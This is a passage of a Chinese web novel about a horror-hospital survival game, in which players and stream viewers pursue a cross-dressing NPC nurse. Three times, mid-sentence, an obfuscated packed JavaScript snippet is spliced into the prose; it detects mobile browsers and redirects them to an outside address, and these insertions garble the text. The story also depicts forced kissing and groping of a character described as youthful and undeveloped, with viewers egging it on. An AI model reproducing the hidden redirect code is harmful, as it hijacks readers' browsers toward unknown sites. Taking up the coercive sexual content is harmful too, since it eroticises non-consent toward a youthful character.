而等他气喘吁吁地收拾好残局,对讲机那边的动静居然还没结束。 凌屿着了魔一样不肯停下这个吻,康驯能清楚地听到他换气的声音,许久才肯松开罗荔片刻,而就这么短暂的间隙,也还在回味着接吻的滋味。 就算看不见,康驯也能想象得到,凌屿是怎么样兴奋得双目通红,那张冰冷无情的唇不知廉耻的,像狗一样哈气,故意将唇齿交融的接吻声放大,低劣又卑鄙。 他捏着手电筒,心里翻滚着骂声,大步撞开面前障碍物,恨不得把对讲机摔碎。 可是,又舍不得。 还想再多听听罗荔的声音,哪怕只是微弱的呼吸。 愤怒快要冲垮康驯的理智,他完全把任务指引抛在了脑后,在一间间病房里打转乱窜。 越来越焦躁不安,喉咙里也翻滚着低吼,充满敌意。 直到最后,在一面铁门前停下。 被铁门拦下的时候才如梦方醒,他竟然偏离了正常的路线,跑到这个不知道在哪的地方来了。 康驯在心里骂了句靠,没好气地手起刀落,捣坏门锁,推开了铁门。 走廊内的光线逐渐清晰,而康驯却傻掉了。 只见身材娇小的小护士被凌屿紧搂着拥吻,发丝下的耳尖红的滴血,小手拼命推着凌屿的肩膀,踩着小皮鞋的双脚都要站不稳。 凌屿听见开门声,缓缓抬起头来。 二人的唇瓣慢慢分开,罗荔的粉舌被吸吮成艳红色,徒然探出口腔,湿淋淋地吐在外面。 而舌尖上那道亮晶晶的水丝,则被凌屿意犹未尽地卷起,咽下。 随后,又流连地在小护士白嫩的脸颊上亲了一口。 康驯当场就爆了脏话,“我操,凌屿你他妈是不是疯了?!” 罗荔晕晕乎乎的,眼睁睁看着康驯不知从哪里冒出来,抡着一把柴刀,就要和凌屿扭打起来。 他往后一瞧,铁门被康驯给打开了。 可是…… 那里面根、本、就、没、有、怪、物!! 凌屿这个骗子! 罗荔摸了下肿痛的唇瓣,一下子气得发昏,不知从哪里来的勇气,举起嫩生生的小手,“啪”的一声,给了凌屿一个响亮的耳光。 “你骗我!” “变态!混蛋!流氓!” 他一口气骂了个爽,浑身毛孔都通畅了。忍不住有些翘小辫子,等回过神来,两个男人都错愕地望向他。 凌屿那张冰山俊脸上落了一个顶显眼的巴掌印,自己薄薄的指甲划破他的眼尾,留下一道血印子。 有、有些破相。 罗荔浑身一抖,心中大叫完蛋。手忙脚乱地把口罩戴好,那点嚣张气焰一下子收敛起来,又变成了缩头怂兔子。 ……而凌屿却摸着脸上的巴掌印,看向了康驯。 那眼神里,竟然带着几分耀武扬威的得意。 简直像是在说:“很爽。” 康驯顿时气昏了头,上前拉住罗荔的手。 “你干什么?” 康驯气急败坏:“还不走?继续留在这儿,等他亲你么?” 罗荔有些懵,被拉着手走出几步,弯腰停了下来。 他还没有完全从遇见怪物的恐惧中脱离,双腿有些发软。 笔直漂亮的两条腿微微蜷曲着,膝弯打着颤,小腿肚时不时抽动一下。 康驯认定了他是舍不得凌屿,脱口而出:“你是医院的护士,还跟病人亲成这样,你到底有没有羞耻心!” 也不知怎的,望着罗荔一瞬间翻涌起委屈的漂亮眼睛,康驯心里竟涌上快意。 “在孟虎面前装得那么扭扭捏捏,好像很不情愿似的。结果换了凌屿这个有钱的,就很主动了啊。” 康驯咬紧齿尖,一字一顿:“你到底知不知道,这里是医院,不是你钓凯子的会所?” 【……老铁们我请问呢?】 【好义正严辞,好正义凛然的正宫发言(拇指)可到底跟你有啥关系?你是正宫吗?】 【此男到底在燃什么,白磷型人格吗(抠鼻)】 【明眼人都看得出来小萝莉是被迫的好不好,咋就知道欺负人家,六百六十六】 罗荔生硬地为自己辩解:“才不是你说的这样。我是……嗯,是想给凌屿喂药的。” “哦,是吗?那药呢?” 药…… 药在接吻的时候,已经被凌屿吞下去了。 现在完全死无对证。 康驯却步步紧逼,“你们医院给病人喂药,要嘴对嘴喂啊?” 罗荔拽着裙角,精巧鼻尖泛红,唇瓣上沁开红肿的颜色,被吮咬过的痕迹十分清晰。 其实谁都清楚他是被强吻的。 康驯一瞬间有些后悔,不知该如何收场,眼睛也不知该往哪边瞟,就正好瞥到了小护士的右腿,看见白丝袜上的血迹。 罗荔受伤了?! “妈的……” 康驯把手中柴刀一扔,步步逼近过来。罗荔吓得连忙后退,嗅到了青年身上的烟尘和血腥气,只想快快逃离。 而他却不由分说地弯起胳膊,俯下身来,将小护士打横抱起。 臭着一张桀骜不驯的帅脸,麦色手臂肌肉绷起,气势凶得好像是要去打人。 ……而实际上却是像个保镖一样,用公主抱的姿势,把他抱进怀里。 凌屿将他拦下:“你想干什么?说好的分三路走,你要打破计划吗?” “打破什么计划?我只是要把‘她’也一起带走而已,又没说不走原路了。” “带走NPC?亏你想的出来,你就没考虑过后果么?” “你他妈强吻这家伙的时候考虑过后果吗?!”康驯烦不胜烦,“随你便,有本事就跟着。” 话音刚落,他不知往那摇摇欲坠的墙体上扔了什么东西,一声巨响过后,墙面瞬间倒塌。 凌屿被这突如其来的变故拦下,持着钢管震开砖石的时候,康驯的身影已经消失在了黑暗中。 这个卑鄙小人…… 他恨恨咬牙,指甲几乎嵌进手心里。 …… 另一边,罗荔缩在康驯怀中,粉口罩蹭上青年身上的尘灰,显得有些脏兮兮。 他不敢看康驯的脸色。这人本来就长得凶,现在肯定更凶了……那双黑得吓人的狼眼与下撇的锋利唇角搭配起来,活似一头蓄势待发的恶狼,更不必说这一身虬结腱子肉,手臂要赶上他大腿粗…… 惴惴不安间,康驯推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723222|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开一扇门,把他放了下来。 他语气还是很冲:“给我站好,敢跑你就完了。” 罗荔当然不敢跑。只能看着极高大的青年站在一张小床边,从柜子里拿条干净毛巾,弯下腰来,开始清理那张床单。 其实床上挺干净的,罗荔不知道他干嘛多此一举。而康驯已经回过头来:“行了。” 他懵懵的,青年啧了一声:“怎么了?都给你弄干净了,还是不乐意坐?” 罗荔撅撅嘴巴,坐到床上:“你想干嘛……” 康驯盯着他沾血的袜子:“把鞋脱了,还有袜子,也是。” 罗荔有些抗拒,“我不要脱。” 这人刚刚还骂了他,他才不要听他的话呢。再说刚刚被凌屿骗过,他很警惕,觉得康驯也没安好心。 “你都受伤了你知不知道?还不脱,以为谁都惦记着你的……” 康驯忽然不说话了,他绷紧唇线,胸膛起伏着,动了动手腕。 罗荔浑身打起冷战,下意识地往床角缩,而脚踝却被人抓住了。 紧接着,床下“扑通”一声,罗荔怯怯回头,康驯竟然跪在了地上。 捉着他纤细的脚腕,满脸凶恶不耐烦的,给他解开了小皮鞋的搭扣。 捏在手里的时候,一下子有点恍惚。 ……鞋子怎么能这么小一只。 薄薄的丝袜下,透出粉红的脚垫颜色,五只圆润饱满的足趾裹在里面,局促地蜷曲起来,想要从魔爪中逃离。 明明不该在这种时候目不转睛地盯着这种地方瞧,但康驯控制不住自己。 【我操玉,我吻上去了】 【求副本出NPC原味教程】 【啊啊啊啊好羡慕康狗,之前能偷到一条丝袜,现在还能摸小护士的jiojio,不敢想有多软多香】 【康哥能不能替我尝尝、、积分什么的大大的有】 【积分+5000】 【积分+10000】 副本的观众会根据玩家的操作进行实时打赏。而自己直播间的这群观众,基本都是看了三位数以上直播间的老油条,平常只关心康驯杀了多少怪、领先多少晋级。 而就是在他斩杀首领,拿下第一的时候,也没有像现在这样疯狂打赏过。 同样的,一向对观众的要求来者不拒,只为享受叫好和掌声的死装直男,也基本不会拒绝这种积分打赏许愿。 可这一次,他却怎么也做不到了。 罗荔腿上还有伤,我怎么能干这种事? 康驯在心里这样洗脑自己,硬生生无视了那些弹幕,捏着小护士脚腕的手不自觉地有点发颤。 摸到罗荔大腿处的丝袜边缘时,感觉“她”抗拒地往回缩了缩。 康驯深呼吸,将那条丝袜轻轻脱了下来。 然而丝袜之下,却没有看见伤口。 白生生的小腿笔直柔软,细腻的肌肤上毫无瘢痕。 ……当然没有受伤。血是那个怪物溅上去的,罗荔还奇怪他怎么就笃定自己受伤了。 殊不知此刻的直播间里,早已炸开了锅。 【太好了宝宝没受伤】 【康狗这下不用有负担了,快舔啊嘬啊吃宝宝的漂亮小脚啊!!】 【我积分都花了,康狗你不会不敢吧?】 【舔上去!】 【舔上去!!】 12. 012 舔上去。 ……搞笑吗? 这些观众在想什么?这种事谁做的出来?? 绝对……不行。 小护士薄粉的指甲清亮整齐,应该会经常乖乖地给自己修指甲。砌雪似的脚背泛起一点点红色,干净得像是艺术品,没有一个地方不漂亮。 相比之下,捏着脚踝的那只手却粗糙宽大,布满伤疤和茧子,哪怕什么都不做也会让人觉得玷污。 几乎能想象的到,若是这双手的主人有意把这脚踝按在床上,必定能让对方爬也爬不动,逃也逃不开。 弹幕也在催促着。 【旁边又没别人,你怕什么呀】 【对啊对啊,小NPC这么萌,过了这村可就没这店了】 【哎呀看得我急死了,行不行啊?不行我替你来prprprpr嘬嘬嘬嘬亚米亚米】 【要是我早就直接冲了(抠鼻)】 这副本是全封闭的,除了观众,没有任何人会知道玩家做过什么。 同样的,逃生副本内也不存在道德、底线之类的东西,更何况是对NPC。 玩家可以对NPC做任何事,哪怕是下流的、性质恶劣的…… 他就算对罗荔过分点又能如何? “能松开了吗……” 罗荔不舒服地往回抽了下小腿,“你的手好烫。” 康驯浑身一个激灵。 不,不对。他怎么会有这种想法?就算罗荔是NPC,“她”也是无辜的。 自己怎么能想着侵犯“她”。 康驯手臂紧绷,慢慢把手松开。 “袜子上这么多血……你也不知道换一条?” 说完,他打开衣兜,从里面拿出一只塑料袋。袋子里装着那条偷来的丝袜,递给罗荔。 “你自己换,换好了出来找我。” 他当然不会承认这袜子是偷来的,想着只要罗荔不问,他就装傻。 但罗荔对自己房间里的东西根本不熟悉,完全没认出这就是自己的那条。 他只是很嫌弃地皱了下眉头:“你怎么会有女生的丝袜啊。” 他故意说:“难不成,你有什么特殊癖好?” “你他妈想什么呢?”康驯完全无语,“我只是恰好有而已。就这一条。” 他不耐烦道:“我可没有男扮女装的恶心癖好。” 正在男扮女装的罗荔:…… 好像被回旋镖镖到自己身上了。 他走出房间:“你换好以后就出来。” 在他走后,罗荔才想到个问题,问007:“医院里的那些怪物是什么东西啊?” “那些怪物和主线剧情有关,我不能告诉你,不过你现在有500个积分,可以进阶一个新的技能,有利于你寻找答案。” “哦哦,什么技能?” 随着一声提示音响起,技能栏更新了。 在“退堂的鼓”下方,出现了一个“墙头的草”。 【进阶技能:墙头的草(可以使副本内的一些高等级boss对你倒戈,从而为你所用)】 【使用方法:每次使用,需要消耗100点积分】 哇! 这个技能感觉很厉害哦! 但是需要花好多积分才行…… 看来得想想办法,继续加重玩家的病重值了。 …… 房间外,康驯心烦意乱地拿着手电筒乱晃。 脑海中更是乱成一锅粥,但总还是绕不开罗荔的影子。白白软软的双足,抱在怀里轻得像一团小云朵,还有被凌屿强吻后,红肿潮湿、滴着水丝的软舌。 以及凌屿脸上的巴掌印。 “很爽。” 有多爽? 他费劲地扯了一下领口,病重值升高后带来的焦躁不安愈发难以忽视。 一种诡异的渴求在心底升腾,他说不清这种渴求是什么,只觉得看见凌屿挨打,比看见凌屿和罗荔接吻,还要让他难以把持…… 康驯用力摇了摇头,努力把注意力转移到四周的环境上。 这里貌似是心内科室,门口贴着几个医生的照片,都用血红的叉涂掉了。 几个房间都找了找,没发现什么有用的东西,而从最后一间诊室出来的时候,他的目光受到某种感应般,落在一张照片上。 照片旁是医生介绍,只见上面写着:傅时越,男,32岁,主任医师。 那张脸则被红叉覆盖,看不清楚。 这么年轻的主任医师?还真是少见。 康驯抬起手电筒,整个科室走廊上镶了暗蓝色的灯管,外面的电子屏幕上满是报废标志的雪花点,四周安静得诡异,连怪物的气息都没有。 思索间,罗荔推门出来了。 小护士望向他的眼神有些奇怪,像是试探着什么似的。 康驯移开目光,用手敲了敲墙面。上面透出一点荧光的颜色,那是陆妍妍留下的逃生记号。 “往这边走。” 他也不说为什么非得把罗荔带在身边,就是强硬地要他跟着。罗荔满腹奇怪,杏眼瞪了半天,也看不见他身上的病重值红条,实在反常。 怎么康驯的病症还没有被激发。 罗荔犹豫着开口:“我……我为什么要跟你走。” 这人这么危险,他可不想过多接触。 康驯停下:“哦?你好歹也是个护士,想把病人丢下不管吗?” 罗荔无语死了。 这家伙生龙活虎的,有一根毛像病人吗? 康驯勾起冷笑。 “你要是不怕被怪物吃了,自己一个人走也行。” “还是说……你更想回去找那个凌屿?” 凌屿也不是什么好人。 不过,他身上的病症已经被激发了,而且加重得很快。 如果要刷病重值的业绩的话,他肯定是比康驯更合适的人选。 罗荔试探着说:“反正我什么忙也帮不上,留在你身边也是累赘吧……” 话音未落,便看见青年双拳猛地攥紧,手电筒的光照在他的靴面上,靴下的硬钉将老化的瓷砖地板踩出裂纹。 糟了,他好像真的很生气的样子。 康驯的面色不善,在拐角处骤然转身。 “你到底是觉得会拖累我,还是只是单纯地想回去找凌屿?” “他是吻技很好,还是怎么样?你不是跟很多人都接过吻吗?怎么凌屿就这么让你印象深刻?” “你就这么喜欢和男人接吻么?” 他几乎是在低吼了。 自己也不知道为什么会做这种事,眼前的护士年纪那么小,除了模样好看了点,其他方面毫不突出。 更何况,还这么三心二意。 自己也是昏了头,才会在“她”身上浪费这么多时间。 “不是……” 罗荔嗓音低软否认。 “不是什么?” 康驯继续上前一步,而罗荔却忽然颤颤抬起手来,指向了他的身后。 “我是说,这条路,不是出去的……” 回头望去,只见二人兜兜转转这么久,前面居然又出现了门诊室的牌子。 一模一样的照片摆在眼前,血淋淋的红叉触目惊心。 陆妍妍留下的荧光标记也还在那里。 他们又回到了原地。 …… 什么情况? 罗荔又在四周转了一圈,果不其然,依旧回到了大门前。 他哪里经历过这种事,冷风吹得身体不住发抖,情不自禁地想把自己缩起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723223|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不去了,怎么办啊,康驯……” 软软喊了几声,也没有人回答。 “康驯?” 身边空无一人。只有暗蓝色的灯光投下,照得整个科室鬼气森森——康驯不见了。 罗荔吓傻了,一瞬间便感觉眼眶发热,带着一点薄薄哭腔喊007:“小七,小七!” 007在他耳边道:“我在。别慌,你这是遇到鬼打墙了。” 鬼打墙在游戏里很常见,如果每一次都回到相同的地方,往往表明有隐藏的重要节点没有推进。只有突破节点,才能走出循环地。 “往四周看看,也许会有线索。” 方才满是雪花的屏幕,此刻开始一下一下闪动着。紧接着,一行血红的字幕在眼前出现,耳边随之响起机械的播报女声。 【请“罗荔”前往二诊室就诊】 ……什么情况? 罗荔的小脸“唰”得一下变得惨白。他又不是玩家,这些事不应该针对玩家吗? 可耳边的播报声还是一遍遍地重复着,嘶啦的电流叫人头痛欲裂。 不远处,紧闭的二诊室房门也打开了一道缝隙,像是请君入瓮。 “康驯到底去哪儿了……” 罗荔一下一下抽着小鼻子。是不是因为自己说错话,所以被对方讨厌了? 但他也不能真的丢下自己不管呀! 呜呜,不走了,也不去找凌屿了…… 谁能来帮帮他? 害怕归害怕,他心里也清楚,现在没有任何大腿能给他抱,只能靠自己了。 不害怕,不害怕。 不知反复哄了自己多少次,罗荔咬紧唇瓣,鼓足勇气,慢吞吞地往二诊室走去。 诊室内是一张床,床外挂着蓝色帘子,旁边是一些检测仪。 熟悉的设备让他放心了些,刚刚关上门,便听一个低冷磁性的男声传来。 “坐到床上吧。” 这声音…… 怎么觉得有点熟悉? 罗荔心惊胆战地躺下,紧接着,一道高大身影,慢慢从帘后走了过来。 男人额发压眉,戴着口罩,只露出一双暗沉深邃的眉眼。白大褂几乎笼不住宽阔双肩,背光站定时,压迫感直叫人喘不过气。 他戴着乳白的医用手套,绷紧的橡胶一点点扯到凸起的指骨上,“啪”的一声,勒出棱角分明的手指形状。手背上一条条的青筋格外醒目,仿佛昭示着某种游刃有余的力量。 随后,他拿起一个听诊器,一边调试,一边对罗荔说:“把上衣外套脱了。” 脱、脱衣服? “怎么了,害怕吗?” “只是听一下你的心跳而已,不会痛的。” 话是这么说没错。罗荔有点难堪地拽了下衣角,“我只穿了一件衣服……” 男人顿了一下,“那就解开前两颗扣子吧。” 粉白的护士服上衣,扣子有点紧。慢吞吞解开两颗后,大片柔白肌肤明晃晃地露在灯光下,嫩得晃眼。 医生捉住他的左胸衣襟,又往旁边拉了一些,然后放上听诊器。 罗荔从小到大经历过各种检查,对听诊器也不陌生,按理来讲,不应该觉得奇怪。 可这个医生……似乎离得太近了。 冰凉的听头贴紧胸口,被那只骨节冷硬的手握着,一下一下,轻轻地按。 不,不是一般的按…… 他的指腹,好像在有意无意地蹭着罗荔的胸脯。 余光看到他的眼睛,目光暗得怕人,凸起的喉结,时不时地滚动一下。 尽管依然是一副正襟危坐模样,却给人一种克制着什么情绪的感觉。 随后,罗荔听见他开口。 “小妹妹。” “你平常,都不穿内衣的吗?” 13. 013 女扮男装这件事上,罗荔毫无经验。 从到副本的第一天起,给他什么,他就穿什么,从来没多想过。 大概是因为这个NPC本来就是少年体型,哪里都是尚未发育的稚嫩,所以扮起少女来也很轻松。 因此直到这一刻之前,罗荔压根就没考虑过这个问题。 一个十七八岁的少女,不可能不穿内衣吧? 就算他本身是个小男孩,当然没有那么凹凸有致,不穿也不太能看出来…… 但是现在被发现没有穿,肯定要被人怀疑了。 罗荔低下卷翘睫毛,根本不敢直视医生的眼睛:“我……我今天忘记了。” “忘记了。”男人重复了一遍,捏着听头往下走了些,“所以,今天一天都没有穿?” 罗荔耳尖发烫:“……嗯。” “我刚刚有听见你在外面和一个男的说话。你们是一起来的吧?” “别怪我多嘴,他好像一直在盯着你看。” 这医生的声音很冷,咬字顿挫,公事公办,几乎听不出来情绪。 可正因如此,更是叫人觉得分外难堪,像是被公然地审视、质问着。 指腹在罗荔的胸口处不动声色地蹭了一下。 “看你这里。” 罗荔自己都觉得自己的辩解很苍白:“不、不可能的吧,我没感觉他有看我呀。” 医生低笑一声:“是吗?” “小妹妹,不要对医生说谎。你现在的心跳很快。” 听头压重了些,罗荔喉咙里溢出低呜,把身子往后缩了缩。 怎么可能不快。 要是被发现他不是女孩,就完蛋了。 “你觉得那男的不会一直盯着你,可在我看来,恰恰相反。” 裹了塑胶手套的手在罗荔细嫩的脖颈上滑过,触感凉滑,像蛇。 “他一直在盯着你,知道吗?他的眼神太恶心了,一直黏在你的耳垂、后颈、细腰和大腿上。” 不可能看不出来,小护士在他身边走路的时候,可爱护士服的胸口隆起的小小弧度,受惊时就会颤抖一下,毫无防备地展现在别人面前,炫耀似的吸引别人的目光。 “给你换袜子的时候,他有多想舔上来,你不清楚吗?” 罗荔太迟钝了,直到现在他才意识到这个医生不对劲。想逃走的时候已经晚了,医生取下听诊器,强硬地,摘下了他的口罩。 然后捏住了小护士雪嫩的两腮。 “你长得这么漂亮,应该有男朋友吧。” “可是外面那个男的,看起来好像不是你的男朋友。你对他一点防备也没有么?” 身下的床板不住晃动,一番天旋地转后,罗荔被他强行推倒,握住了手腕。 慌乱间,小皮鞋竟然也被这人脱下,柔软修长的双腿蜷缩起来,不住颤抖。 这家伙到底想干什么? 医生……boss…… 他会不会是更高等级的boss? 情急之下,罗荔想起了那个进阶技能。 看来只能试试这个—— 一点光亮在指尖燃起,然而,短暂的寂静过后,又是红色的提示语弹出来。 【很抱歉,技能选中失败】 【检测到目标身份为:玩家】 机械音清晰入耳,与此同时,面前男人也摘下了口罩。 惨白的灯光映出一张成熟而阴郁的面孔,眉眼凉薄沉郁,不带半分情感,而弧线锋锐的唇角却不加遮掩地勾起,掺杂了阴湿黏腻的调情。 像是某种只配在角落里阴暗窥伺的饿犬,想要卑劣而贪婪地,占有自己唯一的食物。 白大褂从臂弯上卸下,露出纹满盘绕刺青的花臂。 “医生”的头顶上,慢慢出现两行字。 【玩家:傅时越】 【病症:臆想症(60)】 傅时越没有脱掉医用手套,那手套与他胳膊上的纹身连在一起,显得分外违和。 他搂住罗荔的腰,声音放得很低。 “我现在又不是以男朋友的身份,只是作为一个医生,想好心地提醒你。” “你怎么这么抗拒?” 罗荔的呼吸越来越急促,足心把床单蹬乱,却只是被他往怀里搂的更紧。 “好了,好了。” “我现在是医生,给你检查身体是我的工作。” “麻烦配合一下了,护士小姐。” 冰凉的听头顺着领口塞了进去,下一刻,傅时越的吻便压了下来,不由分说地堵住了他的唇。 …… “罗荔!罗荔!” 只是短暂地拐了个弯,小护士便消失了。科室依旧是原来的科室,只是随着他被困住鬼打墙内走过的循环增加,周围一些细节也在变化。 前台桌面上多了一副病历,打开后,上面写着: “姓名:Lori,性别:男” “现病史:患者心脏功能衰竭……已住院观察,病情无显著改善。” “备注:患者拒绝探视,抗拒治疗……目前只有院长可以与患者接触。患者病情极度不乐观。” 病历上的患者照片也被红叉涂掉了,其他文字全都看不清楚。 而Lori这个名字,正是属于院长的养子。 再往后翻,好像还夹着一张照片。 但康驯此刻已经没有心情去看,他把病历本收了起来,继续寻找破解鬼打墙的办法。 【我说,感觉有点诡异啊。你们不觉得吗?刚刚进来鬼打墙,小护士就消失了。这会不会是NPC的陷阱啊?】 【咋可能,笨蛋小护士咋可能弄的出这么高级的陷阱(狗头)】 【卧槽我真服了你们了,就我担心吗,555荔荔一定很害怕】 【老公一想到宝宝现在孤零零一个人就要心碎了……】 陷阱。 康驯才不相信,那小东西一看就不是个会害人的样子。 弹幕上一口一个“宝宝”“老公”,更是看得他无比心烦:“一个NPC能遇见什么危险?用得着你们瞎操心?” 【哎哟喂清醒哥(白眼)】 【不会碰见怪物,还不会碰见玩家吗?康狗你就不怕自己困住这里,让别人捷足先登?】 【之前凌屿和宝宝亲嘴的时候,可是要多色有多色啊,要是再让他摸到宝宝一回,我感觉那家伙就要脱裤子了】 靠! 康驯怒火攻心,抬腿踹碎了科室门框。 而这无心之举,却意外触发了逃脱的要领——他看见二诊室的门打开了。 ……诊室内的帘子晃动着,能够听见床板的咯吱声。 那帘子不够长,遮不住下方景色。康驯一眼便看到了两双交叠的腿,仿佛是那人高马大的男人把娇小的小美人抱在怀里,让对方坐在自己的膝盖上。 秾纤合度的白嫩小腿悬空着,透粉的足尖颤抖着晃动,一下下踩着男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723224|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皮鞋。 肉乎乎的大腿此刻盖着一件白大褂,遮住二人贴紧的地方,只能透过白大褂上的褶皱看出来,“她”此刻正在不舒服地夹紧双腿。 一条覆满黑色刺身的健硕胳膊就这么探入白大褂下,不知在做什么。 二人的上半身则都被帘子所遮盖,只有窸窸窣窣的低语传来。 “……好像跟我想的不一样。” “皮肤这么嫩。” “也是,不怪宝宝不想穿。” “这么嫩,很容易磨肿吧?” 白大褂一动,眼看就要滑落。男人隐没在衬衫下的半截手臂终于露了出来,与此同时,还有小护士的大片柔白肌肤。 细嫩的腰肢被花臂禁锢着,平坦柔软的小肚子上,指痕若隐若现。 不知被摸揉了多少回。 “放开……放开我……” 罗荔的声音从帘后传来,康驯胸口积酝的火气瞬间蒸进了脑子里。想也没想,便抽出柴刀,刺破了帘子。 白大褂落到地上,衣衫凌乱的小护士踉跄半步,落入康驯怀中。 柴刀擦过傅时越的脸颊,留下一道血痕。 他手头没有武器,自然不敢贸然应对经验丰富的杀手,躲过这一道致命的杀招后,抬起手来抹了一把脸上的血,冷笑着看向康驯。 罗荔尚未从惊吓中回神,冷不防回头时,傅时越居然想迎着柴刀继续吻上来。 他尖叫一声,缩进康驯怀中,紧紧搂住了青年的脖颈。 “你、你怎么现在才来……” 小护士扑上来的时候,那叫人晕眩的甜稠香气完全把康驯笼罩了起来,再一低头,看见罗荔胸口扣子都解开了,软乎乎的小胸脯蹭着他的胸肌,当下就感觉要飙鼻血。 他努力转移视线,而拎着白大褂的傅时越,脸色已经难看到了极致。 这男人生了张邪俊阴郁面孔,再加上那骇人的花臂,活脱脱一个反社会分子,只能在下水道和地下室见到的那种。 此刻一副医生打扮,说不出的违和。 更违和的是,他用手背擦拭着唇瓣,还在不断尝试着接近罗荔。 “我不是坏人。” “我明明……是你的男朋友。” 如果不是亲眼所见,康驯大概这辈子都不会相信,这种阴湿邪性的男的,居然会这么轻声细语地讲话。 “检查还没有做完,我们继续,可以么?” 罗荔死死躲在康驯的臂弯间,拼命摇头:“不要!” 他抬起眸子,颤声道:“康驯,你别信他说的。他才不是做什么检查!他就是个假医生!” “原来我是假医生。” 傅时越若有所思地点了点头,“那么你呢?你是真的护士吗?小妹妹?” 短暂停顿了一下,“不,是不是应该喊你,小弟弟?” 罗荔心里咯噔一声,要被戳破的慌乱感一瞬间席卷了他。 糟了。 难道说,傅时越已经知道了? 只能慌不择路道:“你胡说八道什么!你,你的臆想症那么严重,都是你幻想出来的!再说……再说你又没见过,别乱说好不好!我才不是……!” 傅时越却逼近一步,勾起一个浅笑。 “怎么这么紧张?我开玩笑的,没别的意思。” “很好笑吗?” 康驯忽然插了一句,语气相当危险,“就算‘她’有点平胸,你也不能说‘她’就是男生吧?” 14. 014 罗荔倏地低了下头。 平胸怎么啦! 而且而且而且,也没有很平吧…… 不对。 自己可是个男孩子。不平才奇怪呢。 康驯这个傻瓜。 不过,也幸好他是个傻瓜,所以没有多想。 要是真的怀疑起他是不是男扮女装,那可就糟糕了。 傅时越也是愣了一下,随后挑挑眉峰:“我又没有嫌弃荔荔的意思。” 他的目光在罗荔的胸口驻留片刻,意味深长道,“而且,对我来说,正好。” 一口的大小,很合适。 康驯啧了一声。 什么叫对他来说?他有这个资格吗就对他来说? 玩家之间互相看不见对方的病症,所以他不知道傅时越患有臆想症。 不过看罗荔这个反应,康驯笃定傅时越不是“她”真正的男朋友。 “一个医生,却在这儿性骚扰护士。”康驯不屑道,“可真有你的。” 傅时越的笑瞬间僵住。 “我只是觉得荔荔最近和别的男人走得太近了。我总得保护好自己的女友,免得‘她’被不三不四的人觊觎,不是么?” 傅时越停顿了一下,语气放得更加温和:“荔荔别闹。我们好好谈谈,好吗?” 康驯看不惯他这臭德行,出声打断:“傅时越,我看你是窃取了医生的身份吧。” 早就感觉哪里不对劲,三间病房六个床位,怎么会只有五个玩家。 这么想来,既然陆妍妍能拿到护士的身份自由行动,那别人未必不可以。 床位空了一张,很可能,有人在刚刚进入游戏的时候已经替换了病人的身份,溜出了病房。 大概就是这位32岁的主任医师,傅时越了。 傅时越慢慢将白大褂披上,脸上毫无波澜:“是又如何?我不在意你们几个怎么通关,只是想做好我自己的事情而已。” “呵,是么?” 孟虎死的蹊跷,有本事杀死他的,康驯一直以为是潜伏在医院里的怪物。 但现在看来,这个早早脱离正常游戏主线,以医生的身份自由活动,甚至能制造出鬼打墙的傅时越……也相当可疑。 如果是他对孟虎下手,那就是玩家间的自相残杀。 不过,获取了医生的身份,也不一定就是便利。 游戏中,拿到了什么身份就得遵从这个身份的设定,如果不按照身份办事,就会被处罚。 所以…… “叮。” 诊室内又传来那机械的提示音,“门诊结束,请下一位患者前往诊室就诊。” 康驯看了一眼罗荔:“还愣着干什么?给你的检查已经做完了。” 这也就意味着,医生傅时越不能再继续把罗荔留在诊室。 被他抓住了弱点,傅时越的脸色立即阴沉下来。 他抬起胳膊,想再一次拉住罗荔的手,把他留在这里。 小护士瞬间炸毛,“走开!” 他这一挣扎,口袋里的小皮鞭掉了出来。这时才想起这个道具,不假思索地捡起,像是抓住救命稻草一样握进手中。 看见小皮鞭,康驯有点无语。 他会用吗?不会是觉得这东西能防身吧? 在傅时越掌心碰到罗荔肩膀的一刹那,小护士屏住呼吸,举起小皮鞭甩了出去。 这一抽太仓促,很尴尬地抽空了。 康驯啧了一声,臭着俊脸拦在了罗荔面前:“姓傅的,我说你有完没完——” “啪!” 下一刻,肩膀传来一阵轻微的刺痛感。 那鞭子是软革制的,卯足了力气,也能抽出清脆的响声。 罗荔没想到康驯会挡在自己身前,刚刚闭着眼睛再抽的这一鞭,结结实实地打在了他宽阔的背肌上。 完、完蛋了。 傲慢凶悍的青年眉心紧皱,摸了一下自己的后背,额角青筋突突乱跳。 他本来就长得吓人,现在脸色一沉,半张棱角分明的凶狠面孔都笼罩在阴翳下,犬齿咬得咯咯响。 罗荔彻底懵逼,恨不得找个地缝钻进去。 紧张地埋下了小脑袋,心虚道:“我打偏了……” 